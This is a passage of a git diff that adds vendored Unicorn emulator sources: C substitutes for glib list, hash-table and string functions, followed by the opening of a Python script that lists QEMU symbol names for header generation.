+{ + GSList *lp, *next; + for (lp = list; lp; lp = next) { + next = lp->next; + free(lp); + } +} + +GSList *g_slist_prepend(GSList *list, gpointer data) +{ + GSList *head = (GSList*)g_malloc(sizeof(GSList)); + head->next = list; + head->data = data; + return head; +} + +static GSList *g_slist_sort_merge (GSList *l1, + GSList *l2, + GFunc compare_func, + gpointer user_data) +{ + GSList list, *l; + gint cmp; + + l=&list; + + while (l1 && l2) + { + cmp = ((GCompareDataFunc) compare_func) (l1->data, l2->data, user_data); + + if (cmp <= 0) + { + l=l->next=l1; + l1=l1->next; + } + else + { + l=l->next=l2; + l2=l2->next; + } + } + l->next= l1 ? l1 : l2; + + return list.next; +} + +static GSList *g_slist_sort_real (GSList *list, + GFunc compare_func, + gpointer user_data) +{ + GSList *l1, *l2; + + if (!list) + return NULL; + if (!list->next) + return list; + + l1 = list; + l2 = list->next; + + while ((l2 = l2->next) != NULL) + { + if ((l2 = l2->next) == NULL) + break; + l1=l1->next; + } + l2 = l1->next; + l1->next = NULL; + + return g_slist_sort_merge (g_slist_sort_real (list, compare_func, user_data), + g_slist_sort_real (l2, compare_func, user_data), + compare_func, + user_data); +} + +/** + * g_slist_sort: + * @list: a #GSList + * @compare_func: the comparison function used to sort the #GSList. + * This function is passed the data from 2 elements of the #GSList + * and should return 0 if they are equal, a negative value if the + * first element comes before the second, or a positive value if + * the first element comes after the second. + * + * Sorts a #GSList using the given comparison function. + * + * Returns: the start of the sorted #GSList + */ +GSList *g_slist_sort (GSList *list, + GCompareFunc compare_func) +{ + return g_slist_sort_real (list, (GFunc) compare_func, NULL); +} + +/* END of g_slist related functions */ + +// Hash functions lifted glib-2.28.0/glib/ghash.c + +#define HASH_TABLE_MIN_SHIFT 3 /* 1 << 3 == 8 buckets */ + +typedef struct _GHashNode GHashNode; + +struct _GHashNode { + gpointer key; + gpointer value; + + /* If key_hash == 0, node is not in use + * If key_hash == 1, node is a tombstone + * If key_hash >= 2, node contains data */ + guint key_hash; +}; + +struct _GHashTable { + gint size; + gint mod; + guint mask; + gint nnodes; + gint noccupied; /* nnodes + tombstones */ + GHashNode *nodes; + GHashFunc hash_func; + GEqualFunc key_equal_func; + volatile gint ref_count; + GDestroyNotify key_destroy_func; + GDestroyNotify value_destroy_func; +}; + +/** + * g_hash_table_destroy: + * @hash_table: a #GHashTable. + * + * Destroys all keys and values in the #GHashTable and decrements its + * reference count by 1. If keys and/or values are dynamically allocated, + * you should either free them first or create the #GHashTable with destroy + * notifiers using g_hash_table_new_full(). In the latter case the destroy + * functions you supplied will be called on all keys and values during the + * destruction phase. + **/ +void g_hash_table_destroy (GHashTable *hash_table) +{ + if (hash_table == NULL) return; + if (hash_table->ref_count == 0) return; + + g_hash_table_remove_all (hash_table); + g_hash_table_unref (hash_table); +} + +/** + * g_hash_table_find: + * @hash_table: a #GHashTable. + * @predicate: function to test the key/value pairs for a certain property. + * @user_data: user data to pass to the function. + * + * Calls the given function for key/value pairs in the #GHashTable until + * @predicate returns %TRUE. The function is passed the key and value of + * each pair, and the given @user_data parameter. The hash table may not + * be modified while iterating over it (you can't add/remove items). + * + * Note, that hash tables are really only optimized for forward lookups, + * i.e. g_hash_table_lookup(). + * So code that frequently issues g_hash_table_find() or + * g_hash_table_foreach() (e.g. in the order of once per every entry in a + * hash table) should probably be reworked to use additional or different + * data structures for reverse lookups (keep in mind that an O(n) find/foreach + * operation issued for all n values in a hash table ends up needing O(n*n) + * operations). + * + * Return value: The value of the first key/value pair is returned, for which + * func evaluates to %TRUE. If no pair with the requested property is found, + * %NULL is returned. + * + * Since: 2.4 + **/ +gpointer g_hash_table_find (GHashTable *hash_table, + GHRFunc predicate, + gpointer user_data) +{ + gint i; + + if (hash_table == NULL) return NULL; + if (predicate == NULL) return NULL; + + for (i = 0; i < hash_table->size; i++) + { + GHashNode *node = &hash_table->nodes [i]; + + if (node->key_hash > 1 && predicate (node->key, node->value, user_data)) + return node->value; + } + + return NULL; +} + +/** + * g_hash_table_foreach: + * @hash_table: a #GHashTable. + * @func: the function to call for each key/value pair. + * @user_data: user data to pass to the function. + * + * Calls the given function for each of the key/value pairs in the + * #GHashTable. The function is passed the key and value of each + * pair, and the given @user_data parameter. The hash table may not + * be modified while iterating over it (you can't add/remove + * items). To remove all items matching a predicate, use + * g_hash_table_foreach_remove(). + * + * See g_hash_table_find() for performance caveats for linear + * order searches in contrast to g_hash_table_lookup(). + **/ +void g_hash_table_foreach (GHashTable *hash_table, + GHFunc func, + gpointer user_data) +{ + gint i; + + if (hash_table == NULL) return; + if (func == NULL) return; + + for (i = 0; i < hash_table->size; i++) + { + GHashNode *node = &hash_table->nodes [i]; + + if (node->key_hash > 1) + (* func) (node->key, node->value, user_data); + } +} + +/* + * g_hash_table_lookup_node_for_insertion: + * @hash_table: our #GHashTable + * @key: the key to lookup against + * @hash_return: key hash return location + * Return value: index of the described #GHashNode + * + * Performs a lookup in the hash table, preserving extra information + * usually needed for insertion. + * + * This function first computes the hash value of the key using the + * user's hash function. + * + * If an entry in the table matching @key is found then this function + * returns the index of that entry in the table, and if not, the + * index of an unused node (empty or tombstone) where the key can be + * inserted. + * + * The computed hash value is returned in the variable pointed to + * by @hash_return. This is to save insertions from having to compute + * the hash record again for the new record. + */ +static inline guint g_hash_table_lookup_node_for_insertion (GHashTable *hash_table, + gconstpointer key, + guint *hash_return) +{ + GHashNode *node; + guint node_index; + guint hash_value; + guint first_tombstone = 0; + gboolean have_tombstone = FALSE; + guint step = 0; + + /* Empty buckets have hash_value set to 0, and for tombstones, it's 1. + * We need to make sure our hash value is not one of these. */ + + hash_value = (* hash_table->hash_func) (key); + if (hash_value <= 1) + hash_value = 2; + + *hash_return = hash_value; + + node_index = hash_value % hash_table->mod; + node = &hash_table->nodes [node_index]; + + while (node->key_hash) + { + /* We first check if our full hash values + * are equal so we can avoid calling the full-blown + * key equality function in most cases. + */ + + if (node->key_hash == hash_value) + { + if (hash_table->key_equal_func) + { + if (hash_table->key_equal_func (node->key, key)) + return node_index; + } + else if (node->key == key) + { + return node_index; + } + } + else if (node->key_hash == 1 && !have_tombstone) + { + first_tombstone = node_index; + have_tombstone = TRUE; + } + + step++; + node_index += step; + node_index &= hash_table->mask; + node = &hash_table->nodes [node_index]; + } + + if (have_tombstone) + return first_tombstone; + + return node_index; +} + +/* Each table size has an associated prime modulo (the first prime + * lower than the table size) used to find the initial bucket. Probing + * then works modulo 2^n. The prime modulo is necessary to get a + * good distribution with poor hash functions. */ +static const gint prime_mod [] = { + 1, /* For 1 << 0 */ + 2, + 3, + 7, + 13, + 31, + 61, + 127, + 251, + 509, + 1021, + 2039, + 4093, + 8191, + 16381, + 32749, + 65521, /* For 1 << 16 */ + 131071, + 262139, + 524287, + 1048573, + 2097143, + 4194301, + 8388593, + 16777213, + 33554393, + 67108859, + 134217689, + 268435399, + 536870909, + 1073741789, + 2147483647 /* For 1 << 31 */ +}; + +static void g_hash_table_set_shift (GHashTable *hash_table, gint shift) +{ + gint i; + guint mask = 0; + + hash_table->size = 1 << shift; + hash_table->mod = prime_mod [shift]; + + for (i = 0; i < shift; i++) + { + mask <<= 1; + mask |= 1; + } + + hash_table->mask = mask; +} + +static gint g_hash_table_find_closest_shift (gint n) +{ + gint i; + + for (i = 0; n; i++) + n >>= 1; + + return i; +} + +static void g_hash_table_set_shift_from_size (GHashTable *hash_table, gint size) +{ + gint shift; + + shift = g_hash_table_find_closest_shift (size); + shift = MAX (shift, HASH_TABLE_MIN_SHIFT); + + g_hash_table_set_shift (hash_table, shift); +} + +/* + * g_hash_table_resize: + * @hash_table: our #GHashTable + * + * Resizes the hash table to the optimal size based on the number of + * nodes currently held. If you call this function then a resize will + * occur, even if one does not need to occur. Use + * g_hash_table_maybe_resize() instead. + * + * This function may "resize" the hash table to its current size, with + * the side effect of cleaning up tombstones and otherwise optimizing + * the probe sequences. + */ +static void g_hash_table_resize (GHashTable *hash_table) +{ + GHashNode *new_nodes; + gint old_size; + gint i; + + old_size = hash_table->size; + g_hash_table_set_shift_from_size (hash_table, hash_table->nnodes * 2); + + new_nodes = g_new0 (GHashNode, hash_table->size); + + for (i = 0; i < old_size; i++) + { + GHashNode *node = &hash_table->nodes [i]; + GHashNode *new_node; + guint hash_val; + guint step = 0; + + if (node->key_hash <= 1) + continue; + + hash_val = node->key_hash % hash_table->mod; + new_node = &new_nodes [hash_val]; + + while (new_node->key_hash) + { + step++; + hash_val += step; + hash_val &= hash_table->mask; new_node = &new_nodes [hash_val]; + } + + *new_node = *node; + } + + g_free (hash_table->nodes); + hash_table->nodes = new_nodes; + hash_table->noccupied = hash_table->nnodes; +} + +/* + * g_hash_table_maybe_resize: + * @hash_table: our #GHashTable + * + * Resizes the hash table, if needed. + * + * Essentially, calls g_hash_table_resize() if the table has strayed + * too far from its ideal size for its number of nodes. + */ +static inline void g_hash_table_maybe_resize (GHashTable *hash_table) +{ + gint noccupied = hash_table->noccupied; + gint size = hash_table->size; + + if ((size > hash_table->nnodes * 4 && size > 1 << HASH_TABLE_MIN_SHIFT) || + (size <= noccupied + (noccupied / 16))) + g_hash_table_resize (hash_table); +} + +/* + * g_hash_table_insert_internal: + * @hash_table: our #GHashTable + * @key: the key to insert + * @value: the value to insert + * @keep_new_key: if %TRUE and this key already exists in the table + * then call the destroy notify function on the old key. If %FALSE + * then call the destroy notify function on the new key. + * + * Implements the common logic for the g_hash_table_insert() and + * g_hash_table_replace() functions. + * + * Do a lookup of @key. If it is found, replace it with the new + * @value (and perhaps the new @key). If it is not found, create a + * new node. + */ +static void g_hash_table_insert_internal (GHashTable *hash_table, + gpointer key, + gpointer value, + gboolean keep_new_key) +{ + GHashNode *node; + guint node_index; + guint key_hash; + guint old_hash; + + if (hash_table == NULL) return; + if (hash_table->ref_count == 0) return; + + node_index = g_hash_table_lookup_node_for_insertion (hash_table, key, &key_hash); + node = &hash_table->nodes [node_index]; + + old_hash = node->key_hash; + + if (old_hash > 1) + { + if (keep_new_key) + { + if (hash_table->key_destroy_func) + hash_table->key_destroy_func (node->key); + node->key = key; + } + else + { + if (hash_table->key_destroy_func) + hash_table->key_destroy_func (key); + } + + if (hash_table->value_destroy_func) + hash_table->value_destroy_func (node->value); + + node->value = value; + } + else + { + node->key = key; + node->value = value; + node->key_hash = key_hash; + + hash_table->nnodes++; + + if (old_hash == 0) + { + /* We replaced an empty node, and not a tombstone */ + hash_table->noccupied++; + g_hash_table_maybe_resize (hash_table); + } + } +} + +/** + * g_hash_table_insert: + * @hash_table: a #GHashTable. + * @key: a key to insert. + * @value: the value to associate with the key. + * + * Inserts a new key and value into a #GHashTable. + * + * If the key already exists in the #GHashTable its current value is replaced + * with the new value. If you supplied a @value_destroy_func when creating the + * #GHashTable, the old value is freed using that function. If you supplied + * a @key_destroy_func when creating the #GHashTable, the passed key is freed + * using that function. + **/ +void g_hash_table_insert (GHashTable *hash_table, + gpointer key, + gpointer value) +{ + g_hash_table_insert_internal (hash_table, key, value, FALSE); +} + +/* + * g_hash_table_lookup_node: + * @hash_table: our #GHashTable + * @key: the key to lookup against + * @hash_return: optional key hash return location + * Return value: index of the described #GHashNode + * + * Performs a lookup in the hash table. Virtually all hash operations + * will use this function internally. + * + * This function first computes the hash value of the key using the + * user's hash function. + * + * If an entry in the table matching @key is found then this function + * returns the index of that entry in the table, and if not, the + * index of an empty node (never a tombstone). + */ +static inline guint g_hash_table_lookup_node (GHashTable *hash_table, + gconstpointer key) +{ + GHashNode *node; + guint node_index; + guint hash_value; + guint step = 0; + + /* Empty buckets have hash_value set to 0, and for tombstones, it's 1. + * We need to make sure our hash value is not one of these. */ + + hash_value = (* hash_table->hash_func) (key); + if (hash_value <= 1) + hash_value = 2; + + node_index = hash_value % hash_table->mod; + node = &hash_table->nodes [node_index]; + + while (node->key_hash) + { + /* We first check if our full hash values + * are equal so we can avoid calling the full-blown + * key equality function in most cases. + */ + + if (node->key_hash == hash_value) + { + if (hash_table->key_equal_func) + { + if (hash_table->key_equal_func (node->key, key)) + break; + } + else if (node->key == key) + { + break; + } + } + + step++; + node_index += step; + node_index &= hash_table->mask; + node = &hash_table->nodes [node_index]; + } + + return node_index; +} + +/** + * g_hash_table_lookup: + * @hash_table: a #GHashTable. + * @key: the key to look up. + * + * Looks up a key in a #GHashTable. Note that this function cannot + * distinguish between a key that is not present and one which is present + * and has the value %NULL. If you need this distinction, use + * g_hash_table_lookup_extended(). + * + * Return value: the associated value, or %NULL if the key is not found. + **/ +gpointer g_hash_table_lookup (GHashTable *hash_table, + gconstpointer key) +{ + GHashNode *node; + guint node_index; + + if (hash_table == NULL) return NULL; + + node_index = g_hash_table_lookup_node (hash_table, key); + node = &hash_table->nodes [node_index]; + + return node->key_hash ? node->value : NULL; +} + +/** + * g_hash_table_new: + * @hash_func: a function to create a hash value from a key. + * Hash values are used to determine where keys are stored within the + * #GHashTable data structure. The g_direct_hash(), g_int_hash(), + * g_int64_hash(), g_double_hash() and g_str_hash() functions are provided + * for some common types of keys. + * If hash_func is %NULL, g_direct_hash() is used. + * @key_equal_func: a function to check two keys for equality. This is + * used when looking up keys in the #GHashTable. The g_direct_equal(), + * g_int_equal(), g_int64_equal(), g_double_equal() and g_str_equal() + * functions are provided for the most common types of keys. + * If @key_equal_func is %NULL, keys are compared directly in a similar + * fashion to g_direct_equal(), but without the overhead of a function call. + * + * Creates a new #GHashTable with a reference count of 1. + * + * Return value: a new #GHashTable. + **/ +GHashTable *g_hash_table_new(GHashFunc hash_func, GEqualFunc key_equal_func) +{ + return g_hash_table_new_full(hash_func, key_equal_func, NULL, NULL); +} + +/** + * g_hash_table_new_full: + * @hash_func: a function to create a hash value from a key. + * @key_equal_func: a function to check two keys for equality. + * @key_destroy_func: a function to free the memory allocated for the key + * used when removing the entry from the #GHashTable or %NULL if you + * don't want to supply such a function. + * @value_destroy_func: a function to free the memory allocated for the + * value used when removing the entry from the #GHashTable or %NULL if + * you don't want to supply such a function. + * + * Creates a new #GHashTable like g_hash_table_new() with a reference count + * of 1 and allows to specify functions to free the memory allocated for the + * key and value that get called when removing the entry from the #GHashTable. + * + * Return value: a new #GHashTable. + **/ +GHashTable* g_hash_table_new_full (GHashFunc hash_func, + GEqualFunc key_equal_func, + GDestroyNotify key_destroy_func, + GDestroyNotify value_destroy_func) +{ + GHashTable *hash_table; + + hash_table = (GHashTable*)g_malloc(sizeof(GHashTable)); + //hash_table = g_slice_new (GHashTable); + g_hash_table_set_shift (hash_table, HASH_TABLE_MIN_SHIFT); + hash_table->nnodes = 0; + hash_table->noccupied = 0; + hash_table->hash_func = hash_func ? hash_func : g_direct_hash; + hash_table->key_equal_func = key_equal_func; + hash_table->ref_count = 1; + hash_table->key_destroy_func = key_destroy_func; + hash_table->value_destroy_func = value_destroy_func; + hash_table->nodes = g_new0 (GHashNode, hash_table->size); + + return hash_table; +} + +/* + * g_hash_table_remove_all_nodes: + * @hash_table: our #GHashTable + * @notify: %TRUE if the destroy notify handlers are to be called + * + * Removes all nodes from the table. Since this may be a precursor to + * freeing the table entirely, no resize is performed. + * + * If @notify is %TRUE then the destroy notify functions are called + * for the key and value of the hash node. + */ +static void g_hash_table_remove_all_nodes (GHashTable *hash_table, + gboolean notify) +{ + int i; + + for (i = 0; i < hash_table->size; i++) + { + GHashNode *node = &hash_table->nodes [i]; + + if (node->key_hash > 1) + { + if (notify && hash_table->key_destroy_func) + hash_table->key_destroy_func (node->key); + + if (notify && hash_table->value_destroy_func) + hash_table->value_destroy_func (node->value); + } + } + + /* We need to set node->key_hash = 0 for all nodes - might as well be GC + * friendly and clear everything */ + memset (hash_table->nodes, 0, hash_table->size * sizeof (GHashNode)); + + hash_table->nnodes = 0; + hash_table->noccupied = 0; +} + +/** + * g_hash_table_remove_all: + * @hash_table: a #GHashTable + * + * Removes all keys and their associated values from a #GHashTable. + * + * If the #GHashTable was created using g_hash_table_new_full(), the keys + * and values are freed using the supplied destroy functions, otherwise you + * have to make sure that any dynamically allocated values are freed + * yourself. + * + * Since: 2.12 + **/ +void g_hash_table_remove_all (GHashTable *hash_table) +{ + if (hash_table == NULL) return; + + g_hash_table_remove_all_nodes (hash_table, TRUE); + g_hash_table_maybe_resize (hash_table); +} + +/* + * g_hash_table_remove_node: + * @hash_table: our #GHashTable + * @node: pointer to node to remove + * @notify: %TRUE if the destroy notify handlers are to be called + * + * Removes a node from the hash table and updates the node count. + * The node is replaced by a tombstone. No table resize is performed. + * + * If @notify is %TRUE then the destroy notify functions are called + * for the key and value of the hash node. + */ +static void g_hash_table_remove_node (GHashTable *hash_table, + GHashNode *node, + gboolean notify) +{ + if (notify && hash_table->key_destroy_func) + hash_table->key_destroy_func (node->key); + + if (notify && hash_table->value_destroy_func) + hash_table->value_destroy_func (node->value); + + /* Erect tombstone */ + node->key_hash = 1; + + /* Be GC friendly */ + node->key = NULL; + node->value = NULL; + + hash_table->nnodes--; +} +/* + * g_hash_table_remove_internal: + * @hash_table: our #GHashTable + * @key: the key to remove + * @notify: %TRUE if the destroy notify handlers are to be called + * Return value: %TRUE if a node was found and removed, else %FALSE + * + * Implements the common logic for the g_hash_table_remove() and + * g_hash_table_steal() functions. + * + * Do a lookup of @key and remove it if it is found, calling the + * destroy notify handlers only if @notify is %TRUE. + */ +static gboolean g_hash_table_remove_internal (GHashTable *hash_table, + gconstpointer key, + gboolean notify) +{ + GHashNode *node; + guint node_index; + + if (hash_table == NULL) return FALSE; + + node_index = g_hash_table_lookup_node (hash_table, key); + node = &hash_table->nodes [node_index]; + + /* g_hash_table_lookup_node() never returns a tombstone, so this is safe */ + if (!node->key_hash) + return FALSE; + + g_hash_table_remove_node (hash_table, node, notify); + g_hash_table_maybe_resize (hash_table); + + return TRUE; +} +/** + * g_hash_table_remove: + * @hash_table: a #GHashTable. + * @key: the key to remove. + * + * Removes a key and its associated value from a #GHashTable. + * + * If the #GHashTable was created using g_hash_table_new_full(), the + * key and value are freed using the supplied destroy functions, otherwise + * you have to make sure that any dynamically allocated values are freed + * yourself. + * + * Return value: %TRUE if the key was found and removed from the #GHashTable. + **/ +gboolean g_hash_table_remove (GHashTable *hash_table, + gconstpointer key) +{ + return g_hash_table_remove_internal (hash_table, key, TRUE); +} + +/** + * g_hash_table_unref: + * @hash_table: a valid #GHashTable. + * + * Atomically decrements the reference count of @hash_table by one. + * If the reference count drops to 0, all keys and values will be + * destroyed, and all memory allocated by the hash table is released. + * This function is MT-safe and may be called from any thread. + * + * Since: 2.10 + **/ +void g_hash_table_unref (GHashTable *hash_table) +{ + if (hash_table == NULL) return; + if (hash_table->ref_count == 0) return; + + hash_table->ref_count--; + if (hash_table->ref_count == 0) { + g_hash_table_remove_all_nodes (hash_table, TRUE); + g_free (hash_table->nodes); + g_free (hash_table); + } +} + +/** + * g_hash_table_ref: + * @hash_table: a valid #GHashTable. + * + * Atomically increments the reference count of @hash_table by one. + * This function is MT-safe and may be called from any thread. + * + * Return value: the passed in #GHashTable. + * + * Since: 2.10 + **/ +GHashTable *g_hash_table_ref (GHashTable *hash_table) +{ + if (hash_table == NULL) return NULL; + if (hash_table->ref_count == 0) return hash_table; + + //g_atomic_int_add (&hash_table->ref_count, 1); + hash_table->ref_count++; + return hash_table; +} + +guint g_hash_table_size(GHashTable *hash_table) +{ + if (hash_table == NULL) return 0; + + return hash_table->nnodes; +} + +/* END of g_hash_table related functions */ + +/* general g_XXX substitutes */ + +void g_free(gpointer ptr) +{ + free(ptr); +} + +gpointer g_malloc(size_t size) +{ + void *res; + if (size == 0) return NULL; + res = malloc(size); + if (res == NULL) exit(1); + return res; +} + +gpointer g_malloc0(size_t size) +{ + void *res; + if (size == 0) return NULL; + res = calloc(size, 1); + if (res == NULL) exit(1); + return res; +} + +gpointer g_try_malloc0(size_t size) +{ + if (size == 0) return NULL; + return calloc(size, 1); +} + +gpointer g_realloc(gpointer ptr, size_t size) +{ + void *res; + if (size == 0) { + free(ptr); + return NULL; + } + res = realloc(ptr, size); + if (res == NULL) exit(1); + return res; +} + +char *g_strdup(const char *str) +{ +#ifdef _MSC_VER + return str ? _strdup(str) : NULL; +#else + return str ? strdup(str) : NULL; +#endif +} + +char *g_strdup_printf(const char *format, ...) +{ + va_list ap; + char *res; + va_start(ap, format); + res = g_strdup_vprintf(format, ap); + va_end(ap); + return res; +} + +char *g_strdup_vprintf(const char *format, va_list ap) +{ + char *str_res = NULL; +#ifdef _MSC_VER + int len = _vscprintf(format, ap); + if( len < 0 ) + return NULL; + str_res = (char *)malloc(len+1); + if(str_res==NULL) + return NULL; + vsnprintf(str_res, len+1, format, ap); +#else + int ret = vasprintf(&str_res, format, ap); + if (ret == -1) { + return NULL; + } +#endif + return str_res; +} + +char *g_strndup(const char *str, size_t n) +{ + /* try to mimic glib's g_strndup */ + char *res = calloc(n + 1, 1); + strncpy(res, str, n); + return res; +} + +void g_strfreev(char **str_array) +{ + char **p = str_array; + if (p) { + while (*p) { + free(*p++); + } + } + free(str_array); +} + +gpointer g_memdup(gconstpointer mem, size_t byte_size) +{ + if (mem) { + void *res = g_malloc(byte_size); + memcpy(res, mem, byte_size); + return res; + } + return NULL; +} + +gpointer g_new_(size_t sz, size_t n_structs) +{ + size_t need = sz * n_structs; + if ((need / sz) != n_structs) return NULL; + return g_malloc(need); +} + +gpointer g_new0_(size_t sz, size_t n_structs) +{ + size_t need = sz * n_structs; + if ((need / sz) != n_structs) return NULL; + return g_malloc0(need); +} + +gpointer g_renew_(size_t sz, gpointer mem, size_t n_structs) +{ + size_t need = sz * n_structs; + if ((need / sz) != n_structs) return NULL; + return g_realloc(mem, need); +} + +/** + * g_strconcat: + * @string1: the first string to add, which must not be %NULL + * @Varargs: a %NULL-terminated list of strings to append to the string + * + * Concatenates all of the given strings into one long string. + * The returned string should be freed with g_free() when no longer needed. + * + * Note that this function is usually not the right function to use to + * assemble a translated message from pieces, since proper translation + * often requires the pieces to be reordered. + * + * <warning><para>The variable argument list <emphasis>must</emphasis> end + * with %NULL. If you forget the %NULL, g_strconcat() will start appending + * random memory junk to your string.</para></warning> + * + * Returns: a newly-allocated string containing all the string arguments + */ +gchar* g_strconcat (const gchar *string1, ...) +{ + va_list ap; + char *res; + size_t sz = strlen(string1); + va_start(ap, string1); + while (1) { + char *arg = va_arg(ap, char*); + if (arg == NULL) break; + sz += strlen(arg); + } + va_end(ap); + res = g_malloc(sz + 1); + strcpy(res, string1); + va_start(ap, string1); + while (1) { + char *arg = va_arg(ap, char*); + if (arg == NULL) break; + strcat(res, arg); + } + va_end(ap); + return res; +} + +/** + * g_strsplit: + * @string: a string to split. + * @delimiter: a string which specifies the places at which to split the string. + * The delimiter is not included in any of the resulting strings, unless + * @max_tokens is reached. + * @max_tokens: the maximum number of pieces to split @string into. If this is + * less than 1, the string is split completely. + * + * Splits a string into a maximum of @max_tokens pieces, using the given + * @delimiter. If @max_tokens is reached, the remainder of @string is appended + * to the last token. + * + * As a special case, the result of splitting the empty string "" is an empty + * vector, not a vector containing a single string. The reason for this + * special case is that being able to represent a empty vector is typically + * more useful than consistent handling of empty elements. If you do need + * to represent empty elements, you'll need to check for the empty string + * before calling g_strsplit(). + * + * Return value: a newly-allocated %NULL-terminated array of strings. Use + * g_strfreev() to free it. + **/ +gchar** g_strsplit (const gchar *string, + const gchar *delimiter, + gint max_tokens) +{ + GSList *string_list = NULL, *slist; + gchar **str_array, *s; + guint n = 0; + const gchar *remainder; + + if (string == NULL) return NULL; + if (delimiter == NULL) return NULL; + if (delimiter[0] == '\0') return NULL; + + if (max_tokens < 1) + max_tokens = G_MAXINT; + + remainder = string; + s = strstr (remainder, delimiter); + if (s) + { + gsize delimiter_len = strlen (delimiter); + + while (--max_tokens && s) + { + gsize len; + + len = s - remainder; + string_list = g_slist_prepend (string_list, + g_strndup (remainder, len)); + n++; + remainder = s + delimiter_len; + s = strstr (remainder, delimiter); + } + } + if (*string) + { + n++; + string_list = g_slist_prepend (string_list, g_strdup (remainder)); + } + + str_array = g_new (gchar*, n + 1); + + str_array[n--] = NULL; + for (slist = string_list; slist; slist = slist->next) + str_array[n--] = slist->data; + + g_slist_free (string_list); + + return str_array; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/header_gen.py b/ai_anti_malware/unicorn/unicorn-master/qemu/header_gen.py new file mode 100644 index 0000000..253bd3e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/header_gen.py @@ -0,0 +1,4085 @@ +#!/usr/bin/python +# Unicorn Emulator Engine +# By Dang Hoang Vu & Nguyen Anh Quynh + +# syntax: ./header_gen.py <arm|aarch64|x86|name> + +import sys + +symbols = ( + 'arm_release', + 'aarch64_tb_set_jmp_target', + 'ppc_tb_set_jmp_target', + 'use_idiv_instructions_rt', + 'tcg_target_deposit_valid', + 'helper_power_down', + 'check_exit_request', + 'address_space_unregister', + 'tb_invalidate_phys_page_fast', + 'phys_mem_clean', + 'tb_cleanup', + 'memory_map', + 'memory_map_ptr', + 'memory_unmap', + 'memory_free', + 'free_code_gen_buffer', + 'helper_raise_exception', + 'tcg_enabled', + 'tcg_exec_init', + 'memory_register_types', + 'cpu_exec_init_all', + 'vm_start', + 'resume_all_vcpus', + 'a15_l2ctlr_read', + 'a64_translate_init', + 'aa32_generate_debug_exceptions', + 'aa64_cacheop_access', + 'aa64_daif_access', + 'aa64_daif_write', + 'aa64_dczid_read', + 'aa64_fpcr_read', + 'aa64_fpcr_write', + 'aa64_fpsr_read', + 'aa64_fpsr_write', + 'aa64_generate_debug_exceptions', + 'aa64_zva_access', + 'aarch64_banked_spsr_index', + 'aarch64_restore_sp', + 'aarch64_save_sp', + 'accel_find', + 'accel_init_machine', + 'accel_type', + 'access_with_adjusted_size', + 'add128', + 'add16_sat', + 'add16_usat', + 'add192', + 'add8_sat', + 'add8_usat', + 'add_cpreg_to_hashtable', + 'add_cpreg_to_list', + 'addFloat128Sigs', + 'addFloat32Sigs', + 'addFloat64Sigs', + 'addFloatx80Sigs', + 'add_qemu_ldst_label', + 'address_space_access_valid', + 'address_space_destroy', + 'address_space_destroy_dispatch', + 'address_space_get_flatview', + 'address_space_init', + 'address_space_init_dispatch', + 'address_space_lookup_region', + 'address_space_map', + 'address_space_read', + 'address_space_rw', + 'address_space_translate', + 'address_space_translate_for_iotlb', + 'address_space_translate_internal', + 'address_space_unmap', + 'address_space_update_topology', + 'address_space_update_topology_pass', + 'address_space_write', + 'addrrange_contains', + 'addrrange_end', + 'addrrange_equal', + 'addrrange_intersection', + 'addrrange_intersects', + 'addrrange_make', + 'adjust_endianness', + 'all_helpers', + 'alloc_code_gen_buffer', + 'alloc_entry', + 'always_true', + 'arm1026_initfn', + 'arm1136_initfn', + 'arm1136_r2_initfn', + 'arm1176_initfn', + 'arm11mpcore_initfn', + 'arm926_initfn', + 'arm946_initfn', + 'arm_ccnt_enabled', + 'arm_cp_read_zero', + 'arm_cp_reset_ignore', + 'arm_cpu_do_interrupt', + 'arm_cpu_exec_interrupt', + 'arm_cpu_finalizefn', + 'arm_cpu_get_phys_page_debug', + 'arm_cpu_handle_mmu_fault', + 'arm_cpu_initfn', + 'arm_cpu_list', + 'cpu_loop_exit', + 'arm_cpu_post_init', + 'arm_cpu_realizefn', + 'arm_cpu_register_gdb_regs_for_features', + 'arm_cpu_register_types', + 'cpu_resume_from_signal', + 'arm_cpus', + 'arm_cpu_set_pc', + 'arm_cp_write_ignore', + 'arm_current_el', + 'arm_dc_feature', + 'arm_debug_excp_handler', + 'arm_debug_target_el', + 'arm_el_is_aa64', + 'arm_env_get_cpu', + 'arm_excp_target_el', + 'arm_excp_unmasked', + 'arm_feature', + 'arm_generate_debug_exceptions', + 'gen_intermediate_code', + 'gen_intermediate_code_pc', + 'arm_gen_test_cc', + 'arm_gt_ptimer_cb', + 'arm_gt_vtimer_cb', + 'arm_handle_psci_call', + 'arm_is_psci_call', + 'arm_is_secure', + 'arm_is_secure_below_el3', + 'arm_ldl_code', + 'arm_lduw_code', + 'arm_log_exception', + 'arm_reg_read', + 'arm_reg_reset', + 'arm_reg_write', + 'restore_state_to_opc', + 'arm_rmode_to_sf', + 'arm_singlestep_active', + 'tlb_fill', + 'tlb_flush', + 'tlb_flush_page', + 'tlb_set_page', + 'arm_translate_init', + 'arm_v7m_class_init', + 'arm_v7m_cpu_do_interrupt', + 'ats_access', + 'ats_write', + 'bad_mode_switch', + 'bank_number', + 'bitmap_zero_extend', + 'bp_wp_matches', + 'breakpoint_invalidate', + 'build_page_bitmap', + 'bus_add_child', + 'bus_class_init', + 'bus_info', + 'bus_unparent', + 'cache_block_ops_cp_reginfo', + 'cache_dirty_status_cp_reginfo', + 'cache_test_clean_cp_reginfo', + 'call_recip_estimate', + 'can_merge', + 'capacity_increase', + 'ccsidr_read', + 'check_ap', + 'check_breakpoints', + 'check_watchpoints', + 'cho', + 'clear_bit', + 'clz32', + 'clz64', + 'cmp_flatrange_addr', + 'code_gen_alloc', + 'commonNaNToFloat128', + 'commonNaNToFloat16', + 'commonNaNToFloat32', + 'commonNaNToFloat64', + 'commonNaNToFloatx80', + 'compute_abs_deadline', + 'cond_name', + 'configure_accelerator', + 'container_get', + 'container_info', + 'container_register_types', + 'contextidr_write', + 'core_log_global_start', + 'core_log_global_stop', + 'core_memory_listener', + 'cortexa15_cp_reginfo', + 'cortex_a15_initfn', + 'cortexa8_cp_reginfo', + 'cortex_a8_initfn', + 'cortexa9_cp_reginfo', + 'cortex_a9_initfn', + 'cortex_m3_initfn', + 'count_cpreg', + 'countLeadingZeros32', + 'countLeadingZeros64', + 'cp_access_ok', + 'cpacr_write', + 'cpreg_field_is_64bit', + 'cp_reginfo', + 'cpreg_key_compare', + 'cpreg_make_keylist', + 'cp_reg_reset', + 'cpreg_to_kvm_id', + 